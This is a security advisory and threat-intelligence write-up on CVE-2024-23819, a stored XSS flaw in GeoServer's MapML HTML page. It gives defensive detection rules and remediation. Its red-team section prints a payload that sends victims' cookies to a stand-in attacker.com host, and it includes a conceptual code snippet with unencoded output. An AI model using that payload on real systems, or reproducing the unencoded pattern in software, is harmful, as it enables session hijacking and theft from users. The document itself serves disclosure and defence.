CVE-2024-23819

Executive Summary

CVE-2024-23819 is a stored cross-site scripting (XSS) vulnerability in GeoServer, an open-source Java-based server for sharing and editing geospatial data. The vulnerability affects versions prior to 2.23.4 and 2.24.1. An authenticated administrator with workspace-level privileges can store a malicious JavaScript payload in the GeoServer catalog. This payload executes in the context of another user's browser when they view the MapML HTML Page. The MapML extension must be installed, and while access to the MapML HTML Page is available to all users, data security may limit which users can trigger the XSS. The CVSS score is 4.8 (Medium), and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild. Patches are available in versions 2.23.4 and 2.24.1.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): High (H) – An attacker must have administrator-level privileges with workspace access.
• User Interaction (UI): Required (R) – The victim must view the MapML HTML Page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for high privileges reduces the attack surface, but the stored XSS can lead to session hijacking, data theft, or further attacks within the GeoServer context.

Deep Dive & Mechanics

The vulnerability resides in the GeoServer catalog, which stores metadata about geospatial resources. An authenticated administrator with workspace-level privileges can inject a JavaScript payload into a catalog entry (e.g., layer name, description, or other metadata fields). This payload is not sanitized before storage.

When a user accesses the MapML HTML Page (a feature of the MapML extension), the stored payload is rendered in the browser without proper encoding. The MapML extension is required for the vulnerable page to exist, but it is a common extension for GeoServer deployments.

The XSS is stored, meaning the payload persists in the catalog and executes for every user who views the affected page. The attack chain is:

1. Attacker (admin) injects malicious JavaScript into a catalog entry.
2. Victim navigates to the MapML HTML Page.
3. The payload executes in the victim's browser, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to malicious sites.

Vulnerable vs. Patched Code

The patch addresses the lack of output encoding in the MapML HTML Page rendering. The vulnerable code likely directly interpolates user-supplied catalog data into the HTML response without sanitization.

Vulnerable Code (Conceptual):

// Vulnerable: Directly inserting catalog data into HTML
String layerName = catalog.getLayerName();
response.getWriter().write("<div>" + layerName + "</div>");

Patched Code (Conceptual):

// Patched: Using proper HTML encoding
String layerName = catalog.getLayerName();
String encodedName = StringEscapeUtils.escapeHtml4(layerName);
response.getWriter().write("<div>" + encodedName + "</div>");

The patch ensures that any user-supplied data is HTML-encoded before being rendered in the MapML HTML Page, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• GeoServer version < 2.23.4 or < 2.24.1 with MapML extension installed.
• Administrator credentials with workspace-level privileges.

Exploitation Steps:

1. Log in to GeoServer as an administrator.
2. Navigate to a workspace and edit a layer's metadata (e.g., name, description, or abstract).
3. Inject a JavaScript payload, such as:

   <script>alert('XSS')</script>
   

   or a more malicious payload:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

4. Save the changes.
5. Send a link to the MapML HTML Page to the victim (e.g., http://target/geoserver/mapml/).
6. When the victim views the page, the payload executes.

Note: No public exploit code is available, but the attack is straightforward.

Blue Team

Detection:

• Monitor GeoServer logs for suspicious modifications to catalog entries (e.g., unusual characters in layer names/descriptions).
• Use web application firewalls (WAF) to detect XSS payloads in HTTP requests to GeoServer admin endpoints.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search for <script> tags or event handlers (e.g., onerror, onload) in the GeoServer catalog database.
• Review access logs for the MapML HTML Page to identify potential victims.

Lab Setup:

• Deploy a vulnerable GeoServer instance (e.g., version 2.23.3) with MapML extension.
• Use a test environment with isolated network access.
• Simulate the attack and verify detection rules.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to GeoServer admin endpoints containing XSS payloads (e.g., <script>, onerror).
  • Outbound connections from GeoServer to attacker-controlled domains (if payload exfiltrates data).
• Host:
  • Modified catalog entries in the GeoServer database containing JavaScript.
  • Unusual entries in GeoServer logs (e.g., WARN or ERROR related to catalog updates).
• File:
  • No specific file-based IOCs, as the payload is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2024_23819_GeoServer_XSS {
    meta:
        description = "Detects stored XSS payloads in GeoServer catalog data"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-23819"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: GeoServer Stored XSS via Catalog Modification
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects modifications to GeoServer catalog entries containing XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: geoserver
detection:
    selection:
        EventID: 'CATALOG_UPDATE'
        Data|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in metadata (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23819 GeoServer Stored XSS Payload in Catalog"; flow:to_server,established; content:"POST"; http_method; content:"/geoserver/rest/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade GeoServer to version 2.23.4 or 2.24.1.
• If upgrade is not possible, disable the MapML extension or restrict access to the MapML HTML Page.

Long-term:

• Implement input validation and output encoding for all user-supplied data in GeoServer.
• Apply the principle of least privilege: limit administrator accounts to only necessary workspaces.
• Use a web application firewall (WAF) with XSS detection rules.
• Regularly audit catalog entries for suspicious content.

Workaround:

• Remove the MapML extension from the GeoServer installation if not required.
• Use network segmentation to limit access to GeoServer admin interfaces.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert